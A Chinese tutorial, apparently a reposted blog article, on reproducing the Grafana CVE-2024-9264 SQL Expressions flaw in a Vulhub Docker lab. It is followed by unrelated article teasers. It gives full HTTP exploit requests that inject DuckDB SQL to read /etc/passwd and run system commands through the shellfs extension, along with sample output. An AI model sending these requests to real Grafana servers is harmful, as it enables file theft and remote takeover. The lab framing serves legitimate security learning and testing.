Vulhub 如何复现 Grafana CVE-2024-9264 SQL Expressions 的文件读取与命令执行

发布时间:2026/11/7 16:07:31

Vulhub 如何复现 Grafana CVE-2024-9264 SQL Expressions 的文件读取与命令执行 Vulhub 如何复现 Grafana CVE-2024-9264 SQL Expressions 的文件读取与命令执行【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub在验证 Grafana 安全性或复现 CVE-2024-9264 时需要完成的目标是在一个带漏洞的 Grafana 环境中通过 SQL Expressions 的 API 接口/api/ds/query先实现服务器任意文件读取再实现远程命令执行并从响应中确认结果。Vulhub 提供了预装 DuckDB 的 Grafana v11.0.0 漏洞环境CVE-2024-9264 影响的版本为 11.0.0 至 11.0.5、11.1.0 至 11.1.6 以及 11.2.0 至 11.2.1整个复现只需要 Docker 与 Docker 自带的 compose 命令以及一个可访问目标端口的客户端。漏洞背景为什么这个 API 能被直接利用CVE-2024-9264 位于 Grafana 实验性的 SQL Expressions 功能中。该功能允许用 SQL 对数据源查询结果做后处理底层通过 DuckDB 引擎执行查询。由于输入校验不充分拥有 Viewer 及以上权限的用户可以注入任意 DuckDB SQL 语句进而实现任意文件读取和远程代码执行。虽然该功能被标记为实验性但 feature flag 实现存在缺陷导致它在 API 层面被默认启用扩大了攻击面。需要特别注意利用前提Grafana 进程的系统 PATH 中必须存在 DuckDB 可执行文件。Vulhub 的vulhub/grafana:11.0.0镜像已预装 DuckDB所以启动后即可满足该条件。漏洞存在于 API 接口/api/ds/query中可以直接发送 HTTP 请求触发无需在仪表盘 UI 上操作。准备条件环境要求来自项目根目录 README 与本漏洞目录的说明已安装 Docker可使用 Docker 自带的 compose 命令无需单独安装 docker-compose已获取 Vulhub 仓库git clone --depth 1 https://github.com/vulhub/vulhub建议在至少 1GB 内存的 VPS 或虚拟机上运行文档中的your-ip指你的主机/VPS IP不是 Docker 容器内部 IP确保 Docker 有权限访问当前目录下所有文件。进入漏洞环境目录cd vulhub/grafana/CVE-2024-9264该目录的 docker-compose.yml 只定义了一个服务services: grafana: image: vulhub/grafana:11.0.0 ports: - 3000:3000启动漏洞环境并确认服务可用在grafana/CVE-2024-9264目录下执行docker compose up -d启动成功后访问http://your-ip:3000即可看到 Grafana 登录页面使用默认账号admin:admin登录。能打开登录页并用默认凭据登录即说明环境就绪后续的 API 请求都以这个admin身份进行认证。第一步利用 read_blob 实现任意文件读取发送如下请求利用 DuckDB 的read_blob函数读取服务器上的/etc/passwd文件POST /api/ds/query?ds_type__expr__expressiontruerequestIdQ100 HTTP/1.1 Host: your-ip:3000 Accept: application/json Content-Type: application/json Authorization: Basic YWRtaW46YWRtaW4 { queries: [ { refId: A, datasource: { type: __expr__, uid: __expr__, name: Expression }, type: sql, expression: SELECT content FROM read_blob(/etc/passwd) } ], from: 1, to: 2 }说明Host中的your-ip替换为你的主机/VPS IP端口为 3000Authorization: Basic YWRtaW46YWRtaW4是文档中给出的admin:admin凭据的 Basic 认证头满足 Viewer 及以上权限的要求expression字段中注入的就是任意 DuckDB SQL这里用read_blob(/etc/passwd)读取目标文件。响应中返回/etc/passwd的文件内容即完成任意文件读取的验证上图为文档示例。第二步利用 shellfs 扩展实现远程代码执行在 Grafana v11.0.0 上可以利用 DuckDB 的shellfs社区扩展实现远程代码执行。该扩展允许通过 DuckDB 的read_csv函数配合 Unix 管道语法执行系统命令。通过在单个请求中使用多个带refId引用关系的 SQL 表达式查询可以在一次请求中完成扩展安装、命令执行和结果读取的整个利用链。发送如下请求执行id命令并获取输出POST /api/ds/query?ds_type__expr__expressiontruerequestIdQ100 HTTP/1.1 Host: your-ip:3000 Accept: application/json Content-Type: application/json Authorization: Basic YWRtaW46YWRtaW4 { queries: [ { refId: A, datasource: {type:__expr__,uid:__expr__,name:Expression}, type: sql, expression: SELECT 1;INSTALL shellfs FROM community }, { refId: B, datasource: {type:__expr__,uid:__expr__,name:Expression}, type: sql, expression: SELECT 1 FROM A ;LOAD shellfs;SELECT * FROM read_csv(id /tmp/rce_out 21 |, headerfalse) }, { refId: C, datasource: {type:__expr__,uid:__expr__,name:Expression}, type: sql, expression: SELECT b.content FROM A AS a, read_blob(/tmp/rce_out) AS b } ], from: 1, to: 2 }三个查询通过refId的引用关系保证执行顺序查询 A 执行INSTALL shellfs FROM community从社区源安装shellfs扩展因此环境需要能访问 DuckDB 社区扩展源查询 B 先SELECT 1 FROM A引用 A 以确保在扩展安装之后执行随后LOAD shellfs加载扩展并通过read_csv(id /tmp/rce_out 21 |, headerfalse)的 Unix 管道语法执行id命令把输出重定向到临时文件/tmp/rce_out查询 C 再用read_blob(/tmp/rce_out)从临时文件中读回命令输出。响应中将返回id命令的执行结果如uid472(grafana) gid0(root) groups0(root)文档示例输出证明已实现任意命令执行。清理环境与限制说明测试完成后在漏洞目录执行命令终止并删除容器与卷docker compose down -v以下是复现前必须了解的边界条件受影响的 Grafana 版本为 11.0.0 至 11.0.5、11.1.0 至 11.1.6、11.2.0 至 11.2.1本环境使用其中的 11.0.0文件读取与命令执行的前提是 Grafana 进程的 PATH 中存在 DuckDB 可执行文件Vulhub 镜像已预装利用请求需要具备 Viewer 及以上权限的认证身份文档中的请求使用的是默认账号admin:admin远程命令执行部分依赖shellfs社区扩展的在线安装文档明确该利用链在 Grafana v11.0.0 上可行所有 Vulhub 环境仅供测试与学习严禁用于生产环境。更多环境细节可参阅本漏洞目录的 README.zh-cn.md 与 docker-compose.yml。【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
延伸阅读

更多相关文章

2026/10/29 0:42:16

Zoom Team Chat 开发排障完全指南:常见问题诊断与解决方案

Zoom Team Chat 开发排障完全指南:常见问题诊断与解决方案 【免费下载链接】knowledge-work-plugins Open source repository of plugins primarily intended for knowledge workers to use in Claude Cowork 项目地址: https://gitcode.com/GitHub_Trending/kn/k…

2026/11/7 16:04:53

椒江电工证年审有效期多久值不值得考

椒江电工证年审有效期多久值不值得考 你是不是正愁找不到工作?别急, 特种作业证 就是你上岗的“通行证”,尤其是 椒江电工证年审 ,直接决定你能不能进入工地、工厂、维修岗这些高需求岗位。今天就来聊聊这个证到底 值不值得考 ,特别是对…

2026/11/7 16:04:53

修空调要考电工证了吗保姆级教程

修空调要考电工证了吗保姆级教程 怕考不过白交培训费?别慌,今天手把手带你搞懂【修空调要考电工证了吗】这事儿,从报考条件、考试流程、实操技巧,再到证书价值和未来晋升,全是干货, 保姆级教程 ,看完直接上手。 修空调必须考电工证吗?…

2026/11/7 16:04:53

广州中级电工证有用吗 考证多久拿证全解析

广州中级电工证有用吗 考证多久拿证全解析 学历不高怕报不上名?广州中级电工证有用吗?我见过太多人因为学历问题犹豫要不要考,结果错过机会。今天就来聊聊这个事,告诉你广州中级电工证到底有没有用,怎么考,多久能拿证,特别是像你这样学历不高但想进电…

2026/11/7 15:59:53

电工证标志牌值不值得考?安阳应届生求职避坑全攻略

电工证标志牌值不值得考?安阳应届生求职避坑全攻略 你是不是也像我一样,刚毕业就急着找工作,却发现很多岗位都要求持证上岗? 电工证标志牌 就是其中之一。这个证不仅是你能力的证明,更是你能不能顺利找到工作的“通行证”。但问题是,…

2026/11/7 14:54:47

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

在智慧养宠时代,基于视觉的宠物身份识别技术正逐步从实验室走向家庭应用。然而,与配合度高的人类不同,宠物是典型的“非合作生物识别对象”——它们不会主动配合摄像头调整姿态,更无法控制光照环境。实际应用中,我们常…

2026/11/7 14:50:12

SSM电子书店源码全解析:结构、原理、部署与排错实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/11/7 0:03:08

郑州报考避坑指南:电工证和钳工证怎么选?实操考试心里没底怕挂科

郑州报考避坑指南:电工证和钳工证怎么选?实操考试心里没底怕挂科 实操考试心里没底怕挂科?你不是一个人。特别是在郑州这样的城市,很多施工企业负责人和一线作业人员在报考电工证和钳工证时都面临着同样的困惑。到底该考哪个证?哪个更适合自己?哪个证书…

2026/11/7 0:03:08

广西电工证办理流程全解析:外省证怎么转?在哪考最靠谱?

广西电工证办理流程全解析:外省证怎么转?在哪考最靠谱? 之前考的证在外省能不能转过来?这个问题我遇到太多了,今天就拿广西电工证办理流程来具体说说,别再走弯路了。广西电工证的报考、复审、继续教育这些环节,如果你不了解,真的会吃大亏,尤其对于从…

2026/11/7 0:03:08

电气电工证都有哪些保姆级教程

电气电工证都有哪些保姆级教程 你是不是正愁不知道去哪报名,怕被中介坑?别急,这篇保姆级教程专为河南初次报考人员准备,帮你搞清楚 电气电工证都有哪些 ,以及如何避开那些坑。 电气电工证都有哪些?别被五花八门的证书搞懵了…

2026/11/7 14:54:47

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

在智慧养宠时代,基于视觉的宠物身份识别技术正逐步从实验室走向家庭应用。然而,与配合度高的人类不同,宠物是典型的“非合作生物识别对象”——它们不会主动配合摄像头调整姿态,更无法控制光照环境。实际应用中,我们常…

2026/11/7 14:50:12

SSM电子书店源码全解析:结构、原理、部署与排错实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑